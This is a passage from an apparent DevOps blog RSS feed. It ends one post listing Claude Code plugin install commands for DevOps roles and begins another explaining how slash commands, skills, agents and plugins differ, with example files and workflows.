          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-bash">claude plugin install context7
claude plugin install security-guidance
claude plugin marketplace add devops-claude-skills
claude plugin install aws-cost-optimization@devops-skills
claude plugin install iac-terraform@devops-skills
</code></pre><h3 id="h3-devops-generalist" class="group relative scroll-mt-24">
        <a href="#h3-devops-generalist" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          DevOps Generalist
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-devops-generalist"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-bash">claude plugin install context7
claude plugin install security-guidance
claude plugin install github
claude plugin marketplace add devops-claude-skills
claude plugin install iac-terraform@devops-skills
claude plugin install k8s-troubleshooter@devops-skills
claude plugin install ci-cd@devops-skills
</code></pre><h2 id="h2-summary" class="group relative scroll-mt-24">
        <a href="#h2-summary" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Summary
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-summary"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The Claude Code plugin ecosystem now has serious depth for DevOps work. The foundation is <strong>Context7</strong> for live documentation and <strong>Security Guidance</strong> for vulnerability scanning. On top of that, the <strong>HashiCorp Agent Skills</strong> bring official Terraform and Packer expertise, the <strong>DevOps Skills Marketplace</strong> covers Kubernetes, CI/CD, monitoring, and FinOps, and <strong>Shipyard</strong> handles cross-tool infrastructure validation.</p>
<p>Start with the foundation plugins, then add the role-specific ones that match your daily work. Each plugin you install makes Claude Code more capable at the infrastructure and operations tasks you handle every day.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Claude Code: Agents, Commands, Skills, and Plugins Explained]]></title>
      <link>https://devops-daily.com/posts/claude-code-agents-commands-skills-plugins-explained</link>
      <description><![CDATA[A clear breakdown of the four extension types in Claude Code - what each one does, how they differ, and when to use which. No marketing fluff, just practical explanations with examples.]]></description>
      <pubDate>Sat, 11 Apr 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/claude-code-agents-commands-skills-plugins-explained</guid>
      <category><![CDATA[DevOps]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[DevOps]]></category><category><![CDATA[Claude Code]]></category><category><![CDATA[AI]]></category><category><![CDATA[Automation]]></category><category><![CDATA[Developer Tools]]></category><category><![CDATA[CLI]]></category>
      <content:encoded><![CDATA[<p>Claude Code has four different extension mechanisms: <strong>agents</strong>, <strong>commands</strong>, <strong>skills</strong>, and <strong>plugins</strong>. They overlap in confusing ways, and the documentation does not always make the distinctions clear. This post explains what each one actually does, how they relate to each other, and when to use which.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><table>
<thead>
<tr>
<th>Type</th>
<th>What it is</th>
<th>Runs when</th>
<th>Defined in</th>
</tr>
</thead>
<tbody><tr>
<td><strong>Slash commands</strong></td>
<td>Pre-written prompts you trigger with <code>/</code></td>
<td>When you type <code>/command</code></td>
<td><code>.claude/commands/</code></td>
</tr>
<tr>
<td><strong>Skills</strong></td>
<td>Larger instruction sets Claude loads on demand</td>
<td>When a skill matches the task</td>
<td>Plugin packages</td>
</tr>
<tr>
<td><strong>Agents</strong></td>
<td>Autonomous sub-processes that handle complex tasks</td>
<td>When Claude spawns them</td>
<td>Built-in or custom</td>
</tr>
<tr>
<td><strong>Plugins</strong></td>
<td>Packages that bundle skills, commands, hooks, and MCP servers</td>
<td>At install time</td>
<td>Plugin marketplace or GitHub</td>
</tr>
</tbody></table>
<p>Think of it this way: <strong>plugins</strong> are packages that contain <strong>skills</strong> and <strong>commands</strong>. <strong>Agents</strong> are how Claude delegates work. They are different layers, not competing alternatives.</p>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>Claude Code installed</li>
<li>Basic experience using Claude Code for development tasks</li>
<li>A project directory with a <code>.claude/</code> folder</li>
</ul>
<h2 id="h2-slash-commands" class="group relative scroll-mt-24">
        <a href="#h2-slash-commands" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Slash Commands
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-slash-commands"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Slash commands are the simplest extension type. They are pre-written prompts saved as markdown files that you trigger by typing <code>/</code> followed by the command name.</p>
<h3 id="h3-where-they-live" class="group relative scroll-mt-24">
        <a href="#h3-where-they-live" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Where they live
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-where-they-live"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-text">.claude/
  commands/
    review.md        # /review
    write-test.md    # /write-test
    deploy.md        # /deploy
</code></pre><h3 id="h3-what-they-look-like" class="group relative scroll-mt-24">
        <a href="#h3-what-they-look-like" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What they look like
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-what-they-look-like"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A command file is just a markdown prompt:</p>
<pre><code class="hljs language-markdown"><span class="hljs-section"># Review this PR</span>

Review the current git diff for:
<span class="hljs-bullet">-</span> Bugs and logic errors
<span class="hljs-bullet">-</span> Security issues
<span class="hljs-bullet">-</span> Performance problems
<span class="hljs-bullet">-</span> Code style inconsistencies

Focus on the changes only, not the entire codebase.
Be specific about line numbers and suggest fixes.
</code></pre><h3 id="h3-how-to-use-them" class="group relative scroll-mt-24">
        <a href="#h3-how-to-use-them" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How to use them
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-use-them"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-bash"><span class="hljs-comment"># List available commands</span>
/commands

<span class="hljs-comment"># Run a command</span>
/review
/write-test
</code></pre><h3 id="h3-when-to-use-slash-commands" class="group relative scroll-mt-24">
        <a href="#h3-when-to-use-slash-commands" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          When to use slash commands
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-when-to-use-slash-commands"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><ul>
<li>Repetitive prompts you type often (code review, test writing, deployment checks)</li>
<li>Team-shared prompts (commit to <code>.claude/commands/</code> in your repo)</li>
<li>Project-specific workflows (your deploy process, your review checklist)</li>
</ul>
<h3 id="h3-when-not-to-use-them" class="group relative scroll-mt-24">
        <a href="#h3-when-not-to-use-them" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          When NOT to use them
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-when-not-to-use-them"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><ul>
<li>Complex multi-step workflows (use skills instead)</li>
<li>Tasks that need external tool access (use MCP servers instead)</li>
<li>One-off prompts you will not repeat (just type them directly)</li>
</ul>
<h2 id="h2-skills" class="group relative scroll-mt-24">
        <a href="#h2-skills" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Skills
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-skills"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Skills are more structured than slash commands. They are larger instruction sets that Claude loads on demand when it detects a matching task. Skills can include multiple steps, tool restrictions, and detailed context.</p>
<h3 id="h3-how-skills-differ-from-commands" class="group relative scroll-mt-24">
        <a href="#h3-how-skills-differ-from-commands" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How skills differ from commands
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-skills-differ-from-commands"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><table>
<thead>
<tr>
<th></th>
<th>Slash Commands</th>
<th>Skills</th>
</tr>
</thead>
<tbody><tr>
<td>Triggered by</td>
<td>You type <code>/name</code></td>
<td>Claude detects a matching task</td>
</tr>
<tr>
<td>Size</td>
<td>Short prompts (10-50 lines)</td>
<td>Detailed instructions (50-500 lines)</td>
</tr>
<tr>
<td>Complexity</td>
<td>Single prompt</td>
<td>Multi-step workflows</td>
</tr>
<tr>
<td>Tool access</td>
<td>Uses whatever tools are available</td>
<td>Can restrict to specific tools</td>
</tr>
<tr>
<td>Packaged in</td>
<td><code>.claude/commands/</code> directory</td>
<td>Plugins</td>
</tr>
</tbody></table>
<h3 id="h3-example-skill-write-post" class="group relative scroll-mt-24">
        <a href="#h3-example-skill-write-post" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Example skill: write-post
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-example-skill-write-post"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A skill might instruct Claude to write a blog post with specific frontmatter format, writing style rules, file location conventions, and validation steps. When you say &quot;write a blog post about X,&quot; Claude recognizes this matches the <code>write-post</code> skill and loads those detailed instructions.</p>
<h3 id="h3-how-skills-are-loaded" class="group relative scroll-mt-24">
        <a href="#h3-how-skills-are-loaded" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How skills are loaded
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-skills-are-loaded"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Skills come from installed plugins. When you install a plugin, its skills become available. Claude checks skill descriptions against your request and loads matching ones automatically.</p>
<pre><code class="hljs language-text">You: &quot;Write a blog post about Kubernetes networking&quot;

Claude thinks:
  - Does this match any skills?
  - Yes: &quot;write-post&quot; skill matches &quot;write a blog post&quot;
  - Loading skill instructions...
  - Following the skill&#x27;s format, style, and file conventions
</code></pre><h3 id="h3-when-to-use-skills" class="group relative scroll-mt-24">
        <a href="#h3-when-to-use-skills" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          When to use skills
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-when-to-use-skills"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><ul>
<li>Complex, multi-step content creation (blog posts, documentation)</li>
<li>Workflows with specific output formats (frontmatter, file naming conventions)</li>
<li>Tasks where consistency matters across multiple runs</li>
</ul>
<h2 id="h2-agents" class="group relative scroll-mt-24">
        <a href="#h2-agents" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Agents
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-agents"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Agents are autonomous sub-processes that Claude spawns to handle complex tasks in parallel or in isolation. They are not something you install - they are a built-in capability.</p>
<h3 id="h3-how-agents-work" class="group relative scroll-mt-24">
        <a href="#h3-how-agents-work" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How agents work
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-agents-work"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When Claude encounters a task that would benefit from focused, independent work, it can launch an agent. The agent gets its own context, runs independently, and returns results.</p>
<pre><code class="hljs language-text">You: &quot;Search the codebase for all API routes that don&#x27;t have rate limiting&quot;

Claude spawns an Explore agent that:
  1. Searches all route files
  2. Checks each for rate limiting
  3. Returns a list of unprotected routes

Meanwhile, Claude can continue working on other parts of your request.
</code></pre><h3 id="h3-types-of-agents" class="group relative scroll-mt-24">
        <a href="#h3-types-of-agents" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Types of agents
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-types-of-agents"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><ul>
<li><strong>Explore agent</strong> - fast codebase exploration, file searching, code analysis</li>
<li><strong>Plan agent</strong> - designs implementation strategies before coding</li>
<li><strong>General-purpose agent</strong> - handles complex multi-step research or implementation tasks</li>
<li><strong>Custom agents</strong> - you can define specialized agents for your workflows</li>
</ul>
<h3 id="h3-when-agents-are-used" class="group relative scroll-mt-24">
        <a href="#h3-when-agents-are-used" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          When agents are used
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-when-agents-are-used"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>You do not usually invoke agents directly. Claude decides when to spawn them based on:</p>
<ul>
<li>Task complexity (simple grep vs multi-file analysis)</li>
<li>Independence (can this subtask run without waiting for other results?)</li>
<li>Context isolation (does this task need a clean context without your conversation history?)</li>
</ul>
<h3 id="h3-agent-vs-doing-it-directly" class="group relative scroll-mt-24">
        <a href="#h3-agent-vs-doing-it-directly" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Agent vs doing it directly
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-agent-vs-doing-it-directly"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-text">Simple task (no agent needed):
  &quot;What&#x27;s in package.json?&quot;
  -&gt; Claude just reads the file

Complex task (agent helps):
  &quot;Audit all 37 API routes for security issues&quot;
  -&gt; Claude spawns an agent to systematically check each route
  -&gt; Agent returns structured findings
</code></pre><h2 id="h2-plugins" class="group relative scroll-mt-24">
        <a href="#h2-plugins" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Plugins
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-plugins"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Plugins are packages that bundle multiple extension types together. A plugin can contain skills, commands, hooks, and MCP server configurations.</p>
<h3 id="h3-what-plugins-contain" class="group relative scroll-mt-24">
        <a href="#h3-what-plugins-contain" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What plugins contain
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-what-plugins-contain"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-text">my-plugin/
  skills/
    write-post.md      # Skill definitions
    review-code.md
  commands/
    quick-check.md     # Slash commands
  hooks/
    pre-commit.sh      # Lifecycle hooks
  mcp/
    config.json        # MCP server setup
  plugin.json          # Plugin metadata
</code></pre><h3 id="h3-installing-plugins" class="group relative scroll-mt-24">
        <a href="#h3-installing-plugins" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Installing plugins
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-installing-plugins"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
